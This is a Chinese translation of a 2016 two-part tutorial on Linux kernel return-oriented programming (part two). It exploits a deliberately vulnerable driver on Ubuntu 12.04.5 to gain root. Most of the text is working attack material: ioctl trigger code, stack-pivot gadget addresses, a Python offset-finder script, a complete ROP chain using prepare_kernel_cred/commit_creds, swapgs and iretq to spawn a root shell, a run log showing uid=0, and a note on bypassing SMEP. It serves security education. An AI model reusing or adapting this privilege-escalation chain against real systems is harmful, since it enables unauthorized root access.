Linux内核ROP姿势详解(二)
/* 很棒的文章,在freebuf上发现了这篇文章上部分的翻译,但作者貌似弃坑了,顺手把下半部分也翻译了,原文见文尾链接 --by JDchen */
介绍
在文章第一部分,我们演示了如何找到有用的ROP gadget并为我们的系统(3.13.0-32 kernel –Ubuntu 12.04.5 LTS)建立了一个提权ROP链的模型。我们同时也开发了一个有漏洞的内核驱动来允许实现执行任意代码。在这一部分,我们将会使用这个内核模块来开发一个具有实践意义的ROP链:提权,修复系统,纯净退出到用户空间。
这是来自第一部分ROP链的执行成功的条件:
1:执行一个有效的提权载荷
2:驻留在用户空间的数据可能被引用
3:驻留在用户空间的指令可能不被执行
第一部分开发的内核模块由于缺少偏移边界检查,可以导致一个函数指针指向任意地址,我们的简单触发代码如下:
#define DEVICE_PATH "/dev/vulndrv" ... int main(int argc, char **argv) { int fd; struct drv_req req; req.offset = atoll(argv[1]); fd = open(DEVICE_PATH, O_RDONLY); if (fd == -1) { perror("open"); } ioctl(fd, 0, &req;); return 0; }
在上面代码段中,我们可以控制内核驱动中被声明位unsigned long的offset值,通过offset,我们可以引用任意在内核或者用户空间地址。
栈反转
由于我们不能重定位内核控制流到一个用户空间地址,我们需要在内核空间找一个合适的gadget。这个想法是,在用户空间准备我们的ROP链然后将栈指针指向ROP头部。这样,我们不直接执行驻留在用户空间中的指令,而是从用户空间获取指向内核空间中的指令。在我们漏洞函数device_ioctl()的入口下断点,我们能够检查寄存器是不变的,还是在我们引用函数指针之前我们能够控制它的值:
0xffffffffa013d0bd <device_ioctl> nopl 0x0(%rax,%rax,1) 0xffffffffa013d0c2 <device_ioctl+5> push %rbp 0xffffffffa013d0c3 <device_ioctl+6> mov %rsp,%rbp 0xffffffffa013d0c6 <device_ioctl+9> sub $0x30,%rsp 0xffffffffa013d0ca <device_ioctl+13> mov %rdi,-0x18(%rbp) 0xffffffffa013d0ce <device_ioctl+17> mov %esi,-0x1c(%rbp) 0xffffffffa013d0d1 <device_ioctl+20> mov %rdx,-0x28(%rbp) [user-space address of passed req struct] 0xffffffffa013d0d5 <device_ioctl+24> mov -0x1c(%rbp),%eax 0xffffffffa013d0d8 <device_ioctl+27> test %eax,%eax 0xffffffffa013d0da <device_ioctl+29> jne 0xffffffffa013d145 <device_ioctl+136> 0xffffffffa013d0dc <device_ioctl+31> mov -0x28(%rbp),%rax 0xffffffffa013d0e0 <device_ioctl+35> mov %rax,-0x10(%rbp) [save req struct address to -0x10(%rbp)] 0xffffffffa013d0e4 <device_ioctl+39> mov -0x10(%rbp),%rax 0xffffffffa013d0e8 <device_ioctl+43> mov (%rax),%rax 0xffffffffa013d0eb <device_ioctl+46> mov %rax,%rsi 0xffffffffa013d0ee <device_ioctl+49> mov $0xffffffffa013e066,%rdi 0xffffffffa013d0f5 <device_ioctl+56> mov $0x0,%eax 0xffffffffa013d0fa <device_ioctl+61> callq 0xffffffff81746ca3 0xffffffffa013d0ff <device_ioctl+66> mov -0x10(%rbp),%rax 0xffffffffa013d103 <device_ioctl+70> mov (%rax),%rax 0xffffffffa013d106 <device_ioctl+73> shl $0x3,%rax 0xffffffffa013d10a <device_ioctl+77> add $0xffffffffa013f340,%rax 0xffffffffa013d110 <device_ioctl+83> mov %rax,%rsi 0xffffffffa013d113 <device_ioctl+86> mov $0xffffffffa013e074,%rdi 0xffffffffa013d11a <device_ioctl+93> mov $0x0,%eax 0xffffffffa013d11f <device_ioctl+98> callq 0xffffffff81746ca3 0xffffffffa013d124 <device_ioctl+103> mov $0xffffffffa013f340,%rdx mov -0x10(%rbp),%rax mov (%rax),%rax 0xffffffffa013d132 <device_ioctl+117> shl $0x3,%rax 0xffffffffa013d136 <device_ioctl+121> add %rdx,%rax mov %rax,-0x8(%rbp) 0xffffffffa013d13d <device_ioctl+128> mov -0x8(%rbp),%rax 0xffffffffa013d141 <device_ioctl+132> callq *%rax jmp 0xffffffffa013d146 <device_ioctl+137> 0xffffffffa013d145 <device_ioctl+136> nop 0xffffffffa013d146 <device_ioctl+137> mov $0x0,%eax 0xffffffffa013d14b <device_ioctl+142> leaveq
如上,寄存器rax的值是指将会被执行的指令的地址,我们可以提前计算这个地址,因为我们知道ops数组的基地址和传递的偏移值以用于计算函数指针fn()的地址。例如:给定ops的基地址为 0xffffffffaaaaaaaf
,偏移offset=0x6806288。Fn地址变为0xffffffffdeadbeaf。我们可以逆转这个过程并尝试找到一个内核空间中我们想要去执行的gadget的地址的偏移值。这里有很多栈反转gadget。例如,下面是在用户空间常用的栈反转ROP链:
mov %rsp, %rXx ; ret add %rsp, ...; ret xchg %rXx, %rsp ; ret
在内核空间执行任意代码,我们需要将我们的栈指针指向我们能够控制的用户空间。尽管我们的测试环境是64位,但我们依旧对最后一个寄存器改为32位的gadget感兴趣。xchg %eXx, %esp ; ret
xchg %esp, %eXx ; ret
. 如果我们的%rax是一个有效的内核地址,这个栈反转指令将会使rax的低32位作为新的栈地址。一旦rax的值在执行f()被执行前知道,我们将知道用户空间栈的地址并相应进行mmap。
使用第一部分的ROPGadget工具,我们可以看到在内核镜像中有很多合适的xchg栈反转指针。
0xffffffff81000085 : xchg eax, esp ; ret 0xffffffff81576254 : xchg eax, esp ; ret 0x103d 0xffffffff810242a6 : xchg eax, esp ; ret 0x10a8 0xffffffff8108e258 : xchg eax, esp ; ret 0x11e8 0xffffffff81762182 : xchg eax, esp ; ret 0x12eb 0xffffffff816f4a04 : xchg eax, esp ; ret 0x13e9 0xffffffff81a196fc : xchg eax, esp ; ret 0x1408 0xffffffff814bd0fd : xchg eax, esp ; ret 0x148 0xffffffff8119e39b : xchg eax, esp ; ret 0x148d 0xffffffff813f8ce5 : xchg eax, esp ; ret 0x14c 0xffffffff810db968 : xchg eax, esp ; ret 0x14ff 0xffffffff81d5953e : xchg eax, esp ; ret 0x1589 0xffffffff81951aee : xchg eax, esp ; ret 0x1d07 0xffffffff81703efe : xchg eax, esp ; ret 0x1f3c
在选择栈反转指针时唯一需要注意的是它需要8字节对齐(因为ops是8字节指针的数组,其基地址对齐)。下面简单的脚本用于找到适合的gadget
==================== find_offset.py ==================== #!/usr/bin/env python import sys base_addr = int(sys.argv[1], 16) f = open(sys.argv[2], 'r') # gadgets for line in f.readlines(): target_str, gadget = line.split(':') target_addr = int(target_str, 16) # check alignment if target_addr % 8 != 0: continue offset = (target_addr - base_addr) / 8 print 'offset =', (1 << 64) + offset print 'gadget =', gadget.strip() print 'stack addr = %x' % (target_addr & 0xffffffff) break ======================================================== vnik@ubuntu:~$ cat ropgadget | grep ': xchg eax, esp ; ret' > gadgets vnik@ubuntu:~$ ./find_offset.py 0xffffffffa0224340 ./gadgets offset = 18446744073644332003 gadget = xchg eax, esp ; ret 0x11e8 stack addr = 8108e258
上面的堆栈地址表示ROP链需要mmapping的用户空间地址(fake_stack):
fake_stack = (unsigned long *)(stack_addr); *fake_stack ++= 0xffffffff810c9ebdUL; /* pop %rdi; ret */ fake_stack = (unsigned long *)(stack_addr + 0x11e8 + 8); *fake_stack ++= 0x0UL; /* NULL */ *fake_stack ++= 0xffffffff81095430UL; /* prepare_kernel_cred() */ *fake_stack ++= 0xffffffff810dc796UL; /* pop %rdx; ret */ //*fake_stack ++= 0xffffffff81095190UL; /* commit_creds() */ *fake_stack ++= 0xffffffff81095196UL; /* commit_creds() + 2 instructions */ *fake_stack ++= 0xffffffff81036b70UL; /* mov %rax, %rdi; call %rdx */
所选择的栈反转gadget中的ret有数值操作数,没有数值操作数的ret指令会将返回地址从堆栈中弹出并跳转到堆栈。然而,在一些调用约定(例如,Microsoft __stdcall)中,被调用函数负责清除堆栈。在这种情况下,调用ret的操作数表示在获取下一条指令后弹出堆栈的字节数。因此,之后的第二个ROPgadget位于偏移量0x11e8 + 8处:一旦执行了堆栈枢轴,一旦栈反转指令被执行,控制将被转移到下一个gadget,但堆栈指针将在$ rsp + 0x11e8。
载荷
参考第一部分的堆栈布局,我们可以在用户空间中准备ROP了如下载荷:
fake_stack = (unsigned long *)(stack_addr); *fake_stack ++= 0xffffffff810c9ebdUL; /* pop %rdi; ret */ fake_stack = (unsigned long *)(stack_addr + 0x11e8 + 8); *fake_stack ++= 0x0UL; /* NULL */ *fake_stack ++= 0xffffffff81095430UL; /* prepare_kernel_cred() */ *fake_stack ++= 0xffffffff810dc796UL; /* pop %rdx; ret */ //*fake_stack ++= 0xffffffff81095190UL; /* commit_creds() */ *fake_stack ++= 0xffffffff81095196UL; /* commit_creds() + 2 instructions */ *fake_stack ++= 0xffffffff81036b70UL; /* mov %rax, %rdi; call %rdx */
我们对第一部分的ROP链进行了修改。特别地,commit_creds()地址被移位了2个指令。这是因为我们使用调用指令来执行commit_creds()。调用指令在将控制传递给commit_creds()的第一个指令之前,将返回地址保存在堆栈中。像任何其他函数一样,commit_creds具有开头和结尾,它们将在堆栈上push值,然后在返回之前将它们pop出堆栈。因此,一旦执行该函数,控制将被返回到保存的返回地址。但是,我们希望将其返回到ROP链中的下一个gadget。要使用调用指令作为ROPgadget,我们可以简单地跳过开头的一个push指令:
(gdb) x/10i 0xffffffff81095190
0xffffffff81095190 nopl 0x0(%rax,%rax,1)
0xffffffff81095195 push %rbp
0xffffffff81095196 mov %rsp,%rbp
0xffffffff81095199 push %r13
0xffffffff8109519b mov %gs:0xc7c0,%r13
0xffffffff810951a4 push %r12
0xffffffff810951a6 push %rbx
0xffffffff810951a7 mov %rdi,%rbx
0xffffffff810951aa sub $0x8,%rsp
0xffffffff810951ae mov 0x498(%r13),%r12
跳过push %rbp指令允许我们使用call指令作为ROP gadget:堆上保留的返回地址将会在出commit_creds()结尾被pop出来,ret指令将会返回到下一个gadget。
固化
上面描述的ROP链将给我们的调用进程超级用户权限。然而,一旦所有ROPgadget被执行,控制将被传送到堆栈上的下一条指令,这是一些未初始化的存储器值。我们需要以某种方式恢复堆栈指针并将控制权转移回我们的用户空间进程。
您可能会意识到syscalls始终切换内核/用户空间上下文。一旦进程执行系统调用,它需要恢复其状态,以便它可以在系统调用之后从下一个指令继续执行。这通常使用iret(特权间返回)指令来从内核空间返回到用户空间进程。然而,iret(或在我们的情况下,64位操作数的iretq)期望一个堆栈布局如下所示:
我们需要扩展我们的ROP链,以包括一个新的用户空间指令指针(RIP),用户空间堆栈指针(RSP),代码和堆栈段选择器(CS和SS)和各种状态信息的EFLAGS寄存器。可以使用以下save_state()函数从调用用户空间进程获取CS,SS和EFLAGS值:
unsigned long user_cs, user_ss, user_rflags; static void save_state() { asm( "movq %%cs, %0\n" "movq %%ss, %1\n" "pushfq\n" "popq %2\n" : "=r" (user_cs), "=r" (user_ss), "=r" (user_rflags) : : "memory"); }
内核.text段中的iretq指令的地址可以使用objdump:
vnik@ubuntu:~# objdump -j .text -d ~/vmlinux | grep iretq | head -1 ffffffff81053056: 48 cf iretq
最后要注意的是,在执行iret之前,在64位系统上需要swapgs。该指令将GS寄存器的内容与MSR之一中的值交换。在核空间例程(例如,系统调用)的入口处,执行swpags以获得指向内核数据结构的指针,因此,在返回到用户空间之前需要匹配的swapgs。
现在可以把ROP链的各个部分连起来了:
save_state(); fake_stack = (unsigned long *)(stack_addr); *fake_stack ++= 0xffffffff810c9ebdUL; /* pop %rdi; ret */ fake_stack = (unsigned long *)(stack_addr + 0x11e8 + 8); *fake_stack ++= 0x0UL; /* NULL */ *fake_stack ++= 0xffffffff81095430UL; /* prepare_kernel_cred() */ *fake_stack ++= 0xffffffff810dc796UL; /* pop %rdx; ret */ *fake_stack ++= 0xffffffff81095196UL; /* commit_creds() + 2 instructions */ *fake_stack ++= 0xffffffff81036b70UL; /* mov %rax, %rdi; call %rdx */ *fake_stack ++= 0xffffffff81052804UL; /* swapgs ; pop rbp ; ret */ *fake_stack ++= 0xdeadbeefUL; /* dummy placeholder */ *fake_stack ++= 0xffffffff81053056UL; /* iretq */ *fake_stack ++= (unsigned long)shell; /* spawn a shell */ *fake_stack ++= user_cs; /* saved CS */ *fake_stack ++= user_rflags; /* saved EFLAGS */ *fake_stack ++= (unsigned long)(temp_stack+0x5000000); /* mmaped stack region in user space */ *fake_stack ++= user_ss; /* saved SS */
结果
Ubuntu 12.04.5(x64)的完整漏洞利用代码可以在GitHub上找到。首先,我们需要使用基地址获取数组偏移量
vnik@ubuntu:~$ dmesg | grep addr | grep ops [ 244.142035] addr(ops) = ffffffffa02e9340 vnik@ubuntu:~$ ~/find_offset.py ffffffffa02e9340 ~/gadgets offset = 18446744073644231139 gadget = xchg eax, esp ; ret 0x11e8 stack addr = 8108e258
然后,将基址和偏移地址传递给ROP漏洞:
vnik@ubuntu:~/kernel_rop/vulndrv$ gcc rop_exploit.c -O2 -o rop_exploit vnik@ubuntu:~/kernel_rop/vulndrv$ ./rop_exploit 18446744073644231139 ffffffffa02e9340 array base address = 0xffffffffa02e9340 stack address = 0x8108e258 # id uid=0(root) gid=0(root) groups=0(root) #
我们提到这会绕过SMEP吗?
有更简单的方法绕过SMEP。例如,将CR4位清除为ROP链gadget,然后在用户空间中执行其余的特权提升有效内容(即,带有iret的commit_creds(prepare_kernel_cred(0)))。本教程的目标不是绕过某种保护机制,而是要证明内核ROP(整个有效负载)在内核空间中可以像用户空间中的ROP一样容易地执行。对于内核ROP有明显的缺点:主要的是能够获得对内核启动映像(默认为0600)的访问。这不是内核的问题,但是如果没有其他内存泄漏,对于自定义内核可能有问题。
2016: "Linux Kernel ROP - Ropping your way to # (Part 1)" by Vitaly Nikolenko
2016: "Linux Kernel ROP - Ropping your way to # (Part 2)" by Vitaly Nikolenko
本文版权归作者所有,欢迎转载,且在文章页面明显位置给出原文连接,否则保留追究法律责任的权利。